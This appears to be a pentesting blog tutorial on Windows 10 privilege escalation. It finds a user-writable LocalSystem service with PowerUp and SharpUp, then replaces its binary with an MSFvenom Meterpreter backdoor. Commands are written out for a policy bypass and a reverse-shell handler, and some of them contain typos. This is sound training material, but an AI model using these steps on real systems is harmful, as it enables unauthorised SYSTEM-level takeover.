Let's talk privilege escalation, commonly known as privesc. Generally, when I ask folks how they'd privesc in Windows or Linux environments, I'm looking for answers on the lines of:

  • Perform a privileged action to see if the user has privileged access.

It's simple, yet most folks start thinking about Metasploit's getsystem or tator, or something in north of that. Schools and certifications aren't teaching folks manual privilege escalation methods and this is hurting the industry. Although, OSCP did a good job of teaching manual privilege escalation; and I'll repeat that method here with a different application.  Our target is a fully patched Windows 10 machine. We will use PowerUp and SharpUp to identify any avenues of privilege escalation and then exploit one of those fun paths. PowerUp is a PowerShell script that can be imported and ran from within victim's PowerShell console. SharpUp on the other hand requires to be compiled first. You can use either of the two however, SharpUp is newer and is written in C#; making it less likely to be detected.  It is highly suggested that you download and compile SharpUp before moving forward with this blog post.

As seen below, our target user "Scully" is not a member of local Administrators group.

Scully is a member of HomeUsers and Users groups

PowerUp Method

In cmd.exe, we start PowerShell with -exec bypass directives so that PowerShell allows us to run unsigned scripts (PowerUp.ps1 in our case).

powershell -exec bypass

Now go ahead and import PowerUp module.

Import-Module PowerUp.ps1

Now run invoke-AllChecks to have the PowerUp script check for any privilege escalation paths. This includes checking if (I'm listing them all out because this should be part of your privesc cheat sheet):

  • Current user already has local administrative privileges
  • Checking for unquoted service paths
  • Checking service executable and argument permissions
  • Checking %PATH% for potentially hijackable DLL locations
  • Checking for AlwaysInstallElevated registry key
  • Checking for Autologon credentials in registry
  • Checking for modifidable registry autoruns and configs
  • Checking for modifiable schtask files/configs
  • Checking for unattended install files
  • Checking for encrypted web.config strings
  • Checking for encrypted application pool and virtual directory passwords
  • Checking for plaintext passwords in McAfee SiteList.xml files
  • Checking for cached Group Policy Preferences .xml files
Our target service as displayed by PowerUp

SharpUp Method

SharpUp does similiar things as PowerUp, except it's written in C# and must be compiled using Visual Studio first. Once compiled, upload binary it to the target and run it from there.

Our target service identified by SharpUp

Exploitation of KWSService Misconfiguration

As the screenshots above show, KWSService starts with LocalSystem privileges but is modifiable by every user on the system. This is our target path because if we can modify the binary (KWSS.exe) this privileged service starts with, we can use a modified binary for privilege escalation.

While PowerUp offers the ability to do rest of leg work for you, let's talk about MSFvenom because it's a good skill to have. MSFvenom is able to generate payloads and encode them; resulting in your ability to create malicious binaries. While there are many payloads available, we will use a Windows + Meterpreter type payload becase our target is Windows 10 system and we want to catch the shell in Metasploit's meterpreter. A cheat sheet for creating different kinds of MSFvenom payloads is available here.

A .exe payload with reverse shell that connects back to us at port 4343

Let's start a Metasploit handler to ensure we can catch the shell in time :)

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST=<Your Kali system's IP>
set LPROT=4343
exploit -j
Our shell catcher is alive!
Our KWSS.exe binary that will replace our target

Now, let's double check our access to the original KWSS.exe file.

Renaming the service executable to confirm our permissions
And... it worked

Now that we've renamed the original executable, let's bring over our backdoor.

KWSS.exe here is actually our malicious binary created using MSFvenom

Generally, you'd restart the target service but in this case we don't have permissions to do that.

Start/Stop options are greyed out for our user

In this case, we have to reboot the system. Once done, the service will look for and pull KWSS.exe binary which in this case is our backdoor.

Be careful when restarting a client's system without first notifying them
As Windows system came back up, we caught a shell :)
We've been granted SYSTEM level access!

Note: In my experience, with this specific service, windows/shell_reverse_tcp works better than a meterpreter shell.